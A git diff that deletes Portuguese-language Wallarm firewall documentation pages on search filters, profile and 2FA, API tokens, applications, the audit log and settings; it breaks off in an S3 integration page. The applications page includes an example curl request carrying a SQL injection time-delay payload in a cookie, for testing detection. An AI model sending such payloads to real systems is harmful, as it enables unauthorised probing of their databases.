-* `proto:xml-rpc` -* `proto:web-form` -* `proto:webdav` -* `proto:json-rpc` - -### Pesquisar hits por protocolos de autenticação - -Para filtrar hits por protocolos de autenticação que os atacantes usaram, use a tag `auth:`. - -Esta tag permite os seguintes valores: - -* `auth:none` -* `auth:api-key` -* `auth:aws` -* `auth:basic` -* `auth:bearer` -* `auth:cookie` -* `auth:digest` -* `auth:hawk` -* `auth:jwt` -* `auth:ntlm` -* `auth:oauth1` -* `auth:oauth2` -* `auth:scram` - -### Pesquisa pelo alvo de ataque - -Especifique na string de pesquisa: - -* `cliente`: para pesquisar por ataques de dados do cliente. -* `banco de dados`: para pesquisar por ataques ao banco de dados. -* `servidor`: para pesquisar por ataques ao servidor de aplicativos. - -### Pesquisa por nível de risco - -Especifique o nível de risco na string de pesquisa: - -* `baixo`: nível de risco baixo. -* `médio`: nível de risco médio. -* `alto`: nível de risco alto. - -### Pesquisa pelo tempo do evento - -Especifique o período de tempo na string de pesquisa. Se o período não estiver especificado, a pesquisa é conduzida dentro dos eventos que ocorreram nas últimas 24 horas. - -Existem os seguintes métodos para especificar o período: - -* Por data: `10/11/2020-14/11/2020` -* Por data e hora (segundos são desconsiderados): `10/11/2020 11:11`, `11:30-12:22`, `10/11/2020 11:12-14/01/2020 12:14` -* Em relação a um certo momento de tempo: `>10/11/20` -* Usando aliases de string: - * `ontem` igual à data de ontem - * `hoje` igual à data de hoje - * `último ` igual ao período do início da última unidade até a data e hora atual - - `semana`, `mês`, `ano` ou o número dessas unidades pode ser usado como ``. Por exemplo: `última semana`, `últimos 3 meses`. - - * `este ` igual à unidade atual - - `semana`, `mês`, `ano` podem ser usados como ``. Por exemplo: `esta semana` retornará eventos detectados na segunda-feira, terça-feira e quarta-feira desta semana, se hoje for quarta-feira. - -O formato de data e hora depende das configurações especificadas no seu [perfil](../settings/account.md): - -* MM/DD/YYYY se **MDY** estiver selecionado -* DD/MM/YYYY se **DMY** estiver selecionado -* `13:00` se **24 horas** estiver marcado -* `1pm` se **24 horas** estiver desmarcado - -O mês pode ser especificado como número e nome: `01`, `1`, `Janeiro`, `Jan` para Janeiro. O ano pode ser especificado tanto na forma completa (`2020`) quanto na forma abreviada (`20`). Se o ano não estiver especificado na data, o ano atual será usado. - -### Pesquisa por endereço IP - -Para pesquisar por endereço IP, use o prefixo `ip:`, após o qual você pode especificar -* Um endereço IP específico, por exemplo `192.168.0.1` - nesse caso, todos os ataques e incidentes serão encontrados para os quais o endereço de origem do ataque corresponde a este endereço IP. -* Uma expressão descrevendo um intervalo de endereços IP. -* Um total de endereços IP relacionados a um ataque ou incidente. - -#### Pesquisa por intervalo de endereços IP - -Para definir um intervalo de endereços IP necessário, você pode usar -* Um intervalo explícito de endereços IP: - * `192.168.0.0-192.168.63.255` - * `10.0.0.0-10.255.255.255` -* Uma parte de um endereço IP: - * `192.168.`—equivale a `192.168.0.0-192.168.255.255`. Formato redundante com o modificador `*` é permitido—`192.168.*` - * `192.168.0.`—equivale a `192.168.0.0-192.168.0.255` -* Um endereço IP ou parte dele com um intervalo de valores dentro do último octeto na expressão: - * `192.168.1.0-255`—equivale a `192.168.1.0-192.168.1.255` - * `192.168.0-255`—equivale a `192.168.0.0-192.168.255.255` - - !!! warning "Importante" - Ao usar um intervalo de valores dentro de um octeto, um ponto não é definido no final. - -* Prefixos de sub-rede ([notação CIDR](https://tools.ietf.org/html/rfc4632)): - * `192.168.1.0/24`—equivale a `192.168.1.0-192.168.1.255` - * `192.168.0.0/17`—equivale a `192.168.0.1-192.168.127.255` - -!!! note - Você pode combinar os métodos acima para definir intervalos de endereços IP. Para fazer isso, liste todos os intervalos necessários com o prefixo ip: separadamente. - - **Exemplo**: `ip:192.168.0.0/24 ip:10.10. ip:10.0.10.0-128` - -#### Pesquisa por número de endereços IP - -É possível pesquisar pelo número total de endereços IP que estão relacionados a um ataque ou um incidente (apenas para ataques e incidentes): -* `ip:1000+ último mês`—pesquisar por ataques e incidentes no mês passado para os quais o número de endereços IP únicos é mais do que 1000 (equivale a `ataques incidentes ip:1000+ último mês`). -* `xss ip:100+`—pesquisar por todos os ataques e incidentes de cross-site scripting. O resultado da pesquisa estará vazio se o número de endereços IP atacantes (com o tipo de ataque XSS) for menor que 100. -* `xss p:id ip:100+`—pesquisar por todos os ataques XSS e incidentes relacionados ao parâmetro id (`?id=aaa`). Isso retornará resultados apenas se o número de diferentes endereços IP exceder 100. - -### Pesquisa pelo centro de dados ao qual o endereço IP pertence - -Para pesquisar pelo centro de dados, ao qual o endereço IP original dos ataques pertence, use o prefixo `source:`. - -O valor deste atributo pode ser: - -* `tor` para a rede Tor -* `proxy` para o servidor publico ou web proxy -* `vpn` para VPN -* `aws` para Amazon -* `azure` para Microsoft Azure -* `gce` para Google Cloud Platform -* `ibm` para IBM Cloud -* `alibaba` para Alibaba Cloud -* `huawei` para Huawei Cloud -* `rackspace` para Rackspace Cloud -* `plusserver` para PlusServer -* `hetzner` para Hetzner -* `oracle` para Oracle Cloud -* `ovh` para OVHcloud -* `tencent` para Tencent -* `linode` para Linode -* `docean` para Digital Ocean - -### Pesquisa pelo país ou região no qual o endereço IP está registrado - -Para pesquisar pelo país ou pela região, no qual o endereço IP original dos ataques está registrado, use o prefixo `country:`. - -O nome do país/região deve ser passado ao atributo no formato correspondente ao padrão [ISO 3166-1](https://en.wikipedia.org/wiki/ISO_3166-1) em letras maiúsculas ou minúsculas. Por exemplo: `country:CN` or `country:cn` para ataques originados da China. - -### Pesquisa por eventos originados de IPs maliciosos conhecidamente perigosos - -Wallarm varre recursos públicos em busca de endereços IP que são amplamente reconhecidos como sendo associados a atividades maliciosas. Em seguida, validamos essas informações para garantir sua precisão, facilitando ações necessárias, como incluir esses IPs na lista de negação. - -Para pesquisar por eventos originados desses endereços IP maliciosos, use a tag `source:malicious`. Isso significa **IPs maliciosos** e é assim nomeado na lista de negação, na seção para bloquear por tipo de origem. - -Nós coletamos os dados para este objeto a partir de uma combinação dos seguintes recursos: - -* [Collective Intelligence Network Security](http://cinsscore.com/list/ci-badguys.txt) -* [Proofpoint Emerging Threats Rules](https://rules.emergingthreats.net/blockrules/compromised-ips.txt) -* [DigitalSide Threat-Intel Repository](http://osint.digitalside.it/Threat-Intel/lists/latestips.txt) -* [GreenSnow](https://blocklist.greensnow.co/greensnow.txt) -* [www.blocklist.de](https://www.blocklist.de/en/export.html) -* [NGINX ultimate bad bot blocker](https://github.com/mitchellkrogza/nginx-ultimate-bad-bot-blocker/blob/master/_generator_lists/bad-ip-addresses.list) -* [IPsum](https://github.com/stamparm/ipsum) - -### Pesquisa pelo status de resposta do servidor - -Para pesquisar pelo status de resposta do servidor, especifique o prefixo `statuscode:`. - -O status de resposta pode ser especificado como: -* um número de 100 a 999. -* «N–M» intervalo, onde N e M são números de 100 a 999. -* «N+» e «N-» intervalos, onde N é um número de 100 a 999. - -### Pesquisa pelo tamanho da resposta do servidor - -Para pesquisar pelo tamanho da resposta do servidor, use o prefixo `s:` ou `size:`. - -Você pode pesquisar por qualquer valor inteiro. Números acima de 999 podem ser especificados sem um prefixo. Os intervalos «N–M», «N+» e «N-» podem ser especificados, onde números acima de 999 também podem ser especificados sem um prefixo. - -### Pesquisa pelo método de requisição HTTP - -Para pesquisar pelo método de requisição HTTP, especifique o prefixo `method:`. - -Para pesquisar por `GET`, `POST`, `PUT`, `DELETE`, `OPTIONS`: se maiúsculas forem usadas, então a string de pesquisa pode ser especificada sem um prefixo. Para todos os outros valores, um prefixo deve ser especificado. - -### Pesquisa por número de hits dentro do ataque / incidente - -Para pesquisar ataques e incidentes por número de hits, especifique o prefixo `N:`. - -Por exemplo, você pode pesquisar ataques que têm mais de 100 hits: `ataques N:>100`. Ou pesquisar por ataques com menos de 10 hits com `ataques N:<10`. - -### Pesquisa por domínio - -Para pesquisar pelo domínio, use o prefixo `d:` ou `domain:`. - -Qualquer string que possa ser um domínio de segundo ou nível mais alto pode ser especificada sem um prefixo. Qualquer string pode ser especificada com um prefixo. - -Você pode usar máscaras dentro de um domínio. O símbolo `*` substitui qualquer número de caracteres; o símbolo `?` substitui qualquer caractere simples. - -### Pesquisa por caminho - -Para pesquisar por caminho, você pode: - -* Usar o prefixo `u:` ou `url:` e especificar o caminho entre aspas começando com `/`, por exemplo: `url:"/api/users"`, ou -* Iniciar a entrada com `/` sem nenhum prefixo, por exemplo: `/api/users` - -### Pesquisa por aplicação - -Para pesquisar pela aplicação à qual o ataque foi enviado, use o prefixo `application:` ou `app:` (o antigo prefixo `pool:` ainda é suportado, mas não é recomendado). - -O valor do atributo é o nome da aplicação definida na aba **Aplicações**, na seção **Configurações**. Por exemplo: `application:'Exemplo de aplicação'`. - -### Pesquisa por parâmetro ou parser - -Para pesquisar por parâmetro ou parser, use o prefixo `p:`, `param:`, ou `parameter:`, ou o sufixo `=`. Se usar o sufixo, uma string que não começa com `/` é considerada um parâmetro (onde o caractere `=` final não está incluído no valor). - -Valores de atributo possíveis: - -* Nome do parâmetro visado. - - Por exemplo, se você precisa encontrar ataques direcionados ao parâmetro `xss`, mas não aos ataques XSS (por exemplo, ataque de injeção SQL tendo `xss` no parâmetro GET), então especifique `attacks sqli p:xss` na string de pesquisa. -* Nome do [parser](../rules/request-processing.md) usado pelo nó Wallarm para ler o valor do parâmetro. O nome deve estar em maiúsculas. - - Por exemplo, `attacks p:*BASE64` para encontrar ataques direcionados a qualquer parâmetro analisado pelo parser base64. -* Sequência de parâmetros e parsers. - - Por exemplo: `ataques p:"POST_JSON_DOC_HASH_from"` para encontrar ataques enviados no parâmetro `from` no corpo JSON de uma requisição. - -Você pode usar máscaras dentro de um valor. O símbolo `*` substitui qualquer número de caracteres; o símbolo `?` substitui qualquer caractere simples. - -### Buscar por anomalias em ataques - -Para buscar por anomalias em ataques, use o prefixo `a:` ou `anomaly:`. - -Para refinar uma pesquisa de anomalias, use os seguintes parâmetros: - -* `tamanho` -* `statuscode` -* `tempo` -* `stamps` -* `impression` -* `vector` - -Exemplo: - -`ataques sqli an:tamanho` irá buscar por todos os ataques de injeção SQL, que têm anomalias de tamanho de resposta em suas requisições. - -### Pesquisa pelo identificador de requisição - -Para pesquisar por ataques e incidentes pelo identificador de requisição, especifique o prefixo `request_id`. -O parâmetro `request_id` tem a seguinte forma de valor: `a79199bcea606040cc79f913325401fb`. Para facilitar a leitura, este parâmetro foi substituído pela abreviatura do espaço reservado `` nos exemplos abaixo. - -Exemplos: -* `ataques incidentes request_id:`: para pesquisar um ataque ou incidente com o `request_id` igual a ``. -* `ataques incidentes !request_id:`: para pesquisar ataques e incidentes com o `request_id` diferente de ``. -* `ataques incidentes request_id`: para pesquisar ataques e incidentes com qualquer `request_id`. -* `ataques incidentes !request_id`: para pesquisar ataques e incidentes sem qualquer `request_id`. - -### Pesquisa por hits amostrados - -Para pesquisar pelo [hits amostrados](../events/analyze-attack.md#sampling-of-hits), adicione `amostrado` à string de pesquisa. - -### Pesquisa pelo UUID do nó - -Para pesquisar por ataques detectados por um nó específico, especifique o prefixo `node_uuid`, seguido do UUID do nó. - -Exemplos: - -* `ataques incidentes hoje node_uuid:`: para pesquisar todos os ataques e incidentes de hoje encontrados pelo nó com este ``. -* `ataques hoje !node_uuid:`: para pesquisar todos os ataques de hoje encontrados por qualquer nó exceto o nó com este ``. - -!!! info "Pesquisa apenas por novos ataques" - Apenas ataques detectados após 31 de Maio de 2023 serão exibidos ao pesquisar por UUID do nó. - -Você pode encontrar o UUID do nó na seção **Nós**, [detalhes do nó](../../user-guides/nodes/nodes.md#viewing-details-of-a-node). Clique em UUID para copiá-lo ou clique em **Ver eventos deste nó no dia** (alternar para a seção **Eventos**). - -### Pesquisa por regra de cliente baseada em regex - -Para obter a lista de ataques detectados por [regras de cliente baseadas em regex](../../user-guides/rules/regex-rule.md), no campo de pesquisa especifique `custom_rule`. - -Para qualquer desses ataques, em seus detalhes, são apresentados os links para as regras correspondentes (pode haver mais de uma). Clique no link para acessar os detalhes da regra e editá-los, se necessário. - -![Ataque detectado por regra baseada em regex - edição de regra](../../images/user-guides/search-and-filters/detected-by-custom-rule.png) - -Você pode usar `!custom_rule` para obter a lista de ataques não relacionados a qualquer regra de cliente baseada em regex. \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/account.md b/docs/latest-pt-BR/user-guides/settings/account.md deleted file mode 100644 index 4295122479..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/account.md +++ /dev/null @@ -1,56 +0,0 @@ -[link-2fa-android-app]: https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&hl=en -[link-2fa-ios-app]: https://apps.apple.com/app/google-authenticator/id388497605 - -[img-profile]: ../../images/user-guides/settings/profile.png -[img-2fa-page]: ../../images/user-guides/settings/2fa-page.png - -# Verificando Seu Perfil - -Para ver os dados e configurações do seu perfil, vá para **Configurações** → guia **Perfil**. - -No seu perfil, você pode verificar as informações da sua conta: - -* Email -* [Função](users.md#user-roles) atribuída - **Admin**, **Analista**, ou **Somente leitura** -* Nome e telefone -* Formato de data e hora preferido a ser usado no sistema Wallarm -* Segurança: última mudança de dados da sua senha e status de autenticação de dois fatores. Alguns elementos podem não estar disponíveis se você usar autenticação SSO. -* Histórico de logins - -Você pode clicar no botão *Sair* para sair da sua conta Wallarm. - -![Visão geral do perfil][img-profile] - -Se necessário, você pode editar as informações da conta na mesma página. - -## Mudando Sua Senha - -!!! info "Indisponível se usar SSO" - Se você está usando a autenticação SSO, a autenticação de email/senha está indisponível e você não pode usar ou alterar sua senha. A seção de alteração de senha estará indisponível. - -1. Clique no botão *Alterar*. -1. No formulário que aparece, insira sua senha atual, sua nova senha e uma confirmação da nova senha. -1. Clique no botão *Alterar senha* - -## Habilitando Autenticação de Dois Fatores - -Você pode usar o Google Authenticator (ou aplicativos semelhantes que suportam TOTP) para habilitar a autenticação de dois fatores. - -!!! info "Indisponível se usar SSO" - Se você está usando a autenticação SSO, a autenticação de dois fatores não pode ser ativada. A seção **Autenticação de dois fatores** estará indisponível. - -1. Instale o aplicativo *Google Authenticator* ([Android][link-2fa-android-app], [iOS][link-2fa-ios-app]) ou qualquer um compatível. -1. Clique em *Habilitar* na configuração de Autenticação de Dois Fatores. -1. Digitalize o código QR que aparece (ou clique no link *entrada manual* e use a opção de entrada manual). -1. Insira o código de verificação de 6 dígitos gerado pelo seu aplicativo. -1. Insira sua senha. -1. Clique em *Confirmar*. - -Sempre que você fizer login, será solicitado o código do seu segundo fator após ultrapassar a solicitação de senha. Obtenha este código do seu aplicativo Google Authenticator. - -A senha é necessária se você quiser desativar a autenticação de dois fatores. - -![Visão geral da página de autenticação de dois fatores][img-2fa-page] - -!!! info "Compatibilidade" - Você pode usar qualquer aplicativo ou dispositivo que suporte o Algoritmo de Senha Única Baseado no Tempo (RFC6238) para gerar códigos únicos de uso. \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/api-tokens.md b/docs/latest-pt-BR/user-guides/settings/api-tokens.md deleted file mode 100644 index b0e99e7598..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/api-tokens.md +++ /dev/null @@ -1,118 +0,0 @@ -[user-roles-article]: ../../user-guides/settings/users.md#user-roles -[img-api-tokens-edit]: ../../images/api-tokens-edit.png - -# Tokens de API - -No Console Wallarm → **Configurações** → **Tokens de API**, você pode gerenciar tokens para [autenticação de solicitação de API](../../api/overview.md). - -![Token da API Wallarm][img-api-tokens-edit] - -Esta seção está disponível para os usuários de **[todos os papéis][user-roles-article]**, exceto **Somente leitura** e **Desenvolvedor de API**. - -## Configurando tokens - -Os usuários podem criar seus próprios tokens e usá-los (o que significa, visualizar o valor do token e incluí-lo na solicitação de API para autenticá-lo). Para cada token próprio, você pode definir permissões, mas não mais amplas do que as que seu usuário possui. Opcionalmente, você pode definir uma data de expiração para o token - se definido, o token será desativado após essa data. Além disso, você pode desativar/ativar seus tokens manualmente. - -Você pode renovar o valor do token a qualquer momento. - -**Administradores** / **Administradores Globais** podem visualizar e gerenciar todos os tokens na conta da empresa. Além dos tokens privados, eles podem criar compartilhados, que podem ser visualizados/usados ​​por outros administradores. Ao especificar permissões para os tokens, eles podem selecionar obter essas permissões do papel selecionado: - -* Administrador -* Analista -* Desenvolvedor de API -* Apenas leitura -* Implantar - Tokens de API com este papel são usados ​​para [implantar nós Wallarm](../../user-guides/nodes/nodes.md#creating-a-node) -* Personalizado - volta à seleção manual de permissões - -!!! info "Privacidade do token" - Nenhum outro usuário (mesmo os administradores) pode usar seus tokens privados (o que significa, visualizar ou copiar o valor do token). Além disso, os não-administradores nem mesmo verão seus tokens. - -Leve em consideração que: - -* Se o proprietário do token foi [desativado](../../user-guides/settings/users.md#disabling-and-deleting-users), todos os seus tokens são automaticamente desativados também. -* Se o proprietário do token teve suas permissões reduzidas, as permissões correspondentes serão removidas de todos os seus tokens. -* Todos os tokens desativados são automaticamente removidos uma semana após a desativação. -* Para ativar um token previamente desativado, salve-o com a nova data de vencimento. - -## Criando tokens com permissões de papel global - -Para criar um token de API com as permissões baseadas nos [papéis](../../user-guides/settings/users.md#user-roles) globais como Administrador Global, Analista Global ou Somente Leitura Global, faça o seguinte: - -1. Faça login no Console Wallarm [US](https://us1.my.wallarm.com/) ou [EU](https://my.wallarm.com/) sob o [usuário apropriado](#configuring-tokens). -1. No canto superior direito, selecione `?` → **Console da API Wallarm**. O console da API Wallarm é aberto: - - * https://apiconsole.us1.wallarm.com/ para a nuvem dos EUA - * https://apiconsole.eu1.wallarm.com/ para a nuvem da UE - - Note que o Console da API Wallarm recupera dados de autenticação do Console Wallarm. Se você mudar de usuário no Console Wallarm, atualize a página do Console da API Wallarm para a nova autenticação. - -1. Envie a solicitação POST para a rota `/v2/api_tokens` com os seguintes parâmetros: - - ```bash - { - "client_id": , - "realname": "", - "user_id": , - "enabled": true, - "expire_at": "", - "permissions": [ - "" - ] - } - ``` - - Onde: - - * `` é recomendado para explicar o propósito do token. - * `` define o usuário que possui o token e `` - a conta da empresa a que este usuário pertence. - - Obtenha esses IDs enviando a solicitação POST para a rota `/v1/user`. - - * `` em [formato ISO 8601](https://www.cl.cam.ac.uk/~mgk25/iso-time.html), por exemplo `2033-06-13T04:56:01.037Z`. - * `` podem ser: - - * `partner_admin` para Administrador Global - * `partner_analytic` para Analista Global - * `partner_auditor` para Somente Leitura Global - - ??? info "Exemplo" - ```bash - { - "client_id": 1010, - "realname": "Token para criação de inquilino", - "user_id": 10101011, - "enabled": true, - "expire_at": "2033-06-13T04:56:01.037Z", - "permissions": [ - "partner_admin" - ] - } - ``` - - Esta solicitação cria um token de API com permissões de Administrador Global que podem ser usadas ​​para a [criação de inquilinos](../../installation/multi-tenant/configure-accounts.md#step-3-create-the-tenant-via-the-wallarm-api). - -1. Da resposta, obtenha o `id` do token criado e envie a solicitação GET para a rota `/v2/api_tokens/{id}/secret` usando este `id`. -1. Copie o valor `secret` da resposta e use-o como o token de API para autenticação de solicitações. - - !!! info "Copiando o token do Console Wallarm" - Como o token de API criado é exibido no Console Wallarm, você também pode copiá-lo do menu de tokens em **Configurações** → **Tokens de API**. - -## Tokens compatíveis com versões anteriores - -Anteriormente, o UUID e a chave secreta eram usados para autenticação de solicitações, que agora é substituída por tokens. O UUID e a chave secreta que você estava usando são automaticamente transformados no token **compatível com versões anteriores**. Com este token, as solicitações autenticadas com UUID e chave secreta continuarão funcionando. - -!!! warning "Renove o token ou ative SSO" - Se você renovar o valor do token compatível com versões anteriores ou habilitar o [SSO/strict SSO](../../admin-en/configuration-guides/sso/setup.md) para o proprietário deste token, a compatibilidade com versões anteriores termina - todas as solicitações autenticadas com o antigo UUID e chave secreta pararão de funcionar. - -Você também pode usar o valor gerado do token compatível com versões anteriores, passando-o no parâmetro de cabeçalho `X-WallarmApi-Token` de suas solicitações. - -O token compatível com versões anteriores tem as mesmas permissões que o papel do usuário, essas permissões não são exibidas na janela do token e não podem ser alteradas. Se você quiser controlar as permissões, precisará remover um token compatível com versões anteriores e criar um novo. - -## Tokens de API vs. tokens de nó - -Você pode usar tokens de API descritos neste artigo para [autenticação de solicitação](../../api/overview.md) da API Wallarm Cloud de qualquer cliente e com qualquer conjunto de permissões. - -Um dos clientes acessando a API Wallarm Cloud é o próprio nó de filtragem Wallarm. Para conceder a um nó de filtragem acesso à API de Wallarm Cloud, além dos tokens de API, você pode usar tokens de nó. [Conheça a diferença e o que preferir →](../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation) - -!!! info "Tokens de API não são suportados por algumas opções de implantação" - Atualmente, os tokens de API não podem ser usados ​​para AWS baseadas em [módulo Terraform](../../installation/cloud-platforms/aws/terraform-module/overview.md). Use tokens de nó em vez disso. \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/applications.md b/docs/latest-pt-BR/user-guides/settings/applications.md deleted file mode 100644 index e85d7f3387..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/applications.md +++ /dev/null @@ -1,91 +0,0 @@ -# Configurando aplicações - -Se a sua empresa tem várias aplicações, você pode achar conveniente não apenas visualizar as estatísticas do tráfego da empresa inteira, mas também visualizar as estatísticas separadamente para cada aplicação. Para separar o tráfego pelas aplicações, você pode usar a entidade "aplicação" do sistema Wallarm. - -!!! aviso "Suporte à configuração do aplicativo para o nó CDN" - Para configurar aplicações para os [nós CDN do Wallarm](../../installation/cdn-node.md), solicite à [equipe de suporte do Wallarm](mailto:support@wallarm.com) para fazer isso. - -Usar aplicações permite que você: - -* Visualize eventos e estatísticas separadamente para cada aplicação -* Configure [gatilhos](../triggers/triggers.md), [regras](../rules/rules.md) e outros recursos do Wallarm para certas aplicações -* [Configure o Wallarm em ambientes separados](../../installation/multi-tenant/overview.md#issues-addressed-by-multitenancy) - -Para que o Wallarm identifique suas aplicações, é necessário atribuí-lo identificadores exclusivos através da diretiva apropriada na configuração do nó. Os identificadores podem ser definidos tanto para os domínios da aplicação quanto para os caminhos do domínio. - -Por padrão, Wallarm considera cada aplicação como a aplicação `default` com o identificador (ID) `-1`. - -## Adicionando uma aplicação - -1. (Opcional) Adicione uma aplicação no Console Wallarm → **Configurações** → **Aplicações**. - - ![Adicionando uma aplicação](../../images/user-guides/settings/configure-app.png) - - !!! aviso "Acesso de administrador" - Somente usuários com a função **Administrador** podem acessar a seção **Configurações** → **Aplicações**. -2. Atribua um ID único a uma aplicação na configuração do nó via: - - * A diretiva [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) se o Wallarm está instalado como módulo NGINX, imagem da nuvem marketplace, contêiner Docker baseado em NGINX com um arquivo de configuração montado, contêiner lateral. - * A [variável de ambiente](../../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables) `WALLARM_APPLICATION` se o Wallarm está instalado como um contêiner Docker baseado em NGINX. - * A [anotação Ingress](../../admin-en/configure-kubernetes-en.md#ingress-annotations) `wallarm-application` se o Wallarm está instalado como controlador de Ingress. - * O parâmetro [`application`](../../admin-en/configuration-guides/envoy/fine-tuning.md#basic-settings) se o Wallarm está instalado como um contêiner Docker baseado no Envoy com um arquivo de configuração montado. - - O valor pode ser um número inteiro positivo, exceto para `0`. - - Se uma aplicação com um ID especificado não for adicionada no Console Wallarm → **Configurações** → **Aplicações**, ela será adicionada à lista automaticamente. O nome da aplicação será gerado automaticamente com base no identificador especificado (por exemplo, `Aplicação #1` para a aplicação com o ID `-1`). O nome pode ser alterado mais tarde via Console Wallarm. - -Se a aplicação estiver configurada corretamente, seu nome será exibido nos detalhes dos ataques direcionados a esta aplicação. Para testar a configuração da aplicação, você pode enviar o [ataque de teste](../../admin-en/installation-check-operation-en.md#2-run-a-test-attack) ao endereço da aplicação. - -## Identificação automática de aplicação - -Você pode configurar uma identificação automática de aplicação com base em: - -* Cabeçalhos de solicitação específicos -* Cabeçalho de solicitação específico ou parte dos URLs usando a diretiva `map` do NGINX - -!!! info "Apenas NGINX" - As abordagens listadas são aplicáveis apenas para implementações de nós baseadas em NGINX. - -### Identificação de aplicação com base em cabeçalhos de solicitação específicos - -Esta abordagem inclui dois passos: - -1. Configurar sua rede para que o cabeçalho com o ID da aplicação seja adicionado a cada solicitação. -1. Use o valor deste cabeçalho como valor para a diretiva `wallarm_application`. Veja o exemplo abaixo. - -Exemplo do arquivo de configuração NGINX (`/etc/nginx/default.conf`): - -``` -server { - listen 80; - server_name example.com; - wallarm_mode block; - wallarm_application $http_custom_id; - - location / { - proxy_pass http://upstream1:8080; - } -} -``` - -Exemplo de solicitação de ataque: - -``` -curl -H "Cookie: SESSID='UNION SELECT SLEEP(5)-- -" -H "CUSTOM-ID: 222" http://example.com -``` - -Esta solicitação: - -* Será considerada um ataque e adicionada à seção **Eventos**. -* Será associada à aplicação com ID `222`. -* Se a aplicação correspondente não existir, ela será adicionada a **Configurações** → **Aplicações** e automaticamente chamada de `Aplicação #222`. - -![Adicionando uma aplicação com base na solicitação do cabeçalho](../../images/user-guides/settings/configure-app-auto-header.png) - -### Identificação de aplicação com base em cabeçalho de solicitação específico ou parte dos URLs usando a diretiva `map` do NGINX - -Você pode adicionar as aplicações com base em cabeçalho de solicitação específico ou parte dos URLs do endpoint, usando a diretiva `map` do NGINX. Veja a descrição detalhada da diretiva na [documentação](https://nginx.org/en/docs/http/ngx_http_map_module.html#map) do NGINX. - -## Excluindo uma aplicação - -Para excluir a aplicação do sistema Wallarm, exclua a diretiva apropriada do arquivo de configuração do nó. Se a aplicação for excluída apenas da seção **Configurações** → **Aplicações**, ela será restaurada na lista. diff --git a/docs/latest-pt-BR/user-guides/settings/audit-log.md b/docs/latest-pt-BR/user-guides/settings/audit-log.md deleted file mode 100644 index c47dcea093..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/audit-log.md +++ /dev/null @@ -1,35 +0,0 @@ -# Registro de atividades do usuário - -Na guia **Configurações** → **Registro de atividades** do Console Wallarm, você pode verificar o histórico de ações do usuário no sistema Wallarm. Os registros incluem informações sobre a criação, atualização e exclusão dos seguintes objetos: - -* Endereço IP ou sub-rede a partir dos [ativos expostos](../scanner.md) -* Domínios do perímetro de rede -* Serviços (portas) do perímetro de rede -* Domínios e endereços IP associados do perímetro de rede -* [Autenticação de dois fatores](account.md#enabling-two-factor-authentication) -* [Tokens da API](api-tokens.md) -* [Usuários](users.md) -* Regras de processamento de tráfego [regras](../rules/rules.md) -* [Backups de conjunto de regras personalizado](../rules/rules.md) -* [Nós do Wallarm](../nodes/nodes.md) -* [Nós da CDN](../nodes/cdn-node.md) -* [Gatilhos](../triggers/triggers.md) -* [Integrações](integrations/integrations-intro.md) -* [Endereço IP bloqueado](../ip-lists/denylist.md) -* [Amostragem de acertos](../events/analyze-attack.md#sampling-of-hits) - -Os registros também incluem informações sobre as seguintes ações e objetos: - -* [Vulnerabilidade marcada como falso positivo](../vulnerabilities.md#marking-vulnerabilities-as-false-positives) -* [Ataque reexaminado](../events/verify-attack.md) - -![Registro de atividades](../../images/user-guides/settings/audit-log.png) - -**Para filtrar os registros de atividades**, você pode usar os seguintes parâmetros: - -* Dados sensíveis ao maiúsculas e minúsculas sobre o usuário que realizou a ação - - Se a ação foi realizada pela equipe de suporte técnico da Wallarm, o nome de usuário é `Suporte técnico`. Esse valor não pode ser usado para classificar os registros de atividades. -* Tipo de ação -* Nome do objeto em que a ação foi realizada -* Data em que a ação foi realizada \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/general.md b/docs/latest-pt-BR/user-guides/settings/general.md deleted file mode 100644 index c364335681..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/general.md +++ /dev/null @@ -1,25 +0,0 @@ -[link-config-parameters]: ../../admin-en/configure-wallarm-mode.md - -[img-general-settings]: ../../images/configuration-guides/configure-wallarm-mode/en/general-settings-page-with-safe-blocking.png - -# Configurações Gerais - -Na aba **Geral** da seção **Configurações**, você pode: - -* Alternar o modo de filtragem do Wallarm -* Gerenciar tempos limite de logout automático - -![Aba Geral](../../images/user-guides/settings/general-tab.png) - -## Modo de filtragem - -Cada nó Wallarm pode identificar e bloquear ataques no nível de solicitação HTTP. Este [modo de filtragem][link-config-parameters] é definido pelas configurações locais ou globais: - -* **Configurações locais (padrão)**: este modo explora as configurações de um arquivo de configuração de nó de filtro. -* **Bloqueio seguro**: todas as solicitações maliciosas originadas de [IPs na lista cinza](../ip-lists/graylist.md) são bloqueadas. -* **Monitoramento**: todas as solicitações são processadas, mas nenhuma delas é bloqueada mesmo se um ataque for detectado. -* **Bloqueio**: todas as solicitações em que um ataque foi detectado são bloqueadas. - -## Gerenciamento de logout - -Os [administradores](users.md#user-roles) podem configurar os tempos limite de logout para a conta da empresa. As configurações afetarão todos os usuários da conta. É possível definir tempos limite ociosos e absolutos. \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/amazon-s3.md b/docs/latest-pt-BR/user-guides/settings/integrations/amazon-s3.md deleted file mode 100644 index efd663f17f..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/amazon-s3.md +++ /dev/null @@ -1,174 +0,0 @@ -# Amazon S3 - -Você pode configurar o Wallarm para enviar arquivos com informações sobre os hits detectados para o seu bucket Amazon S3. As informações serão enviadas em arquivos no formato JSON a cada 10 minutos. - -Campos de dados para cada hit: - -* `time` - data e hora da detecção do hit no formato Unix Timestamp -* `request_id` -* `ip` - IP do atacante -* Tipo de fonte do hit: `datacenter`, `tor`, `remote_country` -* `application_id` -* `domain` -* `method` -* `uri` -* `protocol` -* `status_code` -* `attack_type` -* `block_status` -* `payload` -* `point` -* `tags` - -Os arquivos serão salvos em seu bucket S3 usando a convenção de nomes `wallarm_hits_{timestamp}.json` ou `wallarm_hits_{timestamp}.jsonl`. O formato, seja Array JSON ou Delimitado por Nova Linha JSON (NDJSON), dependerá da sua escolha durante a 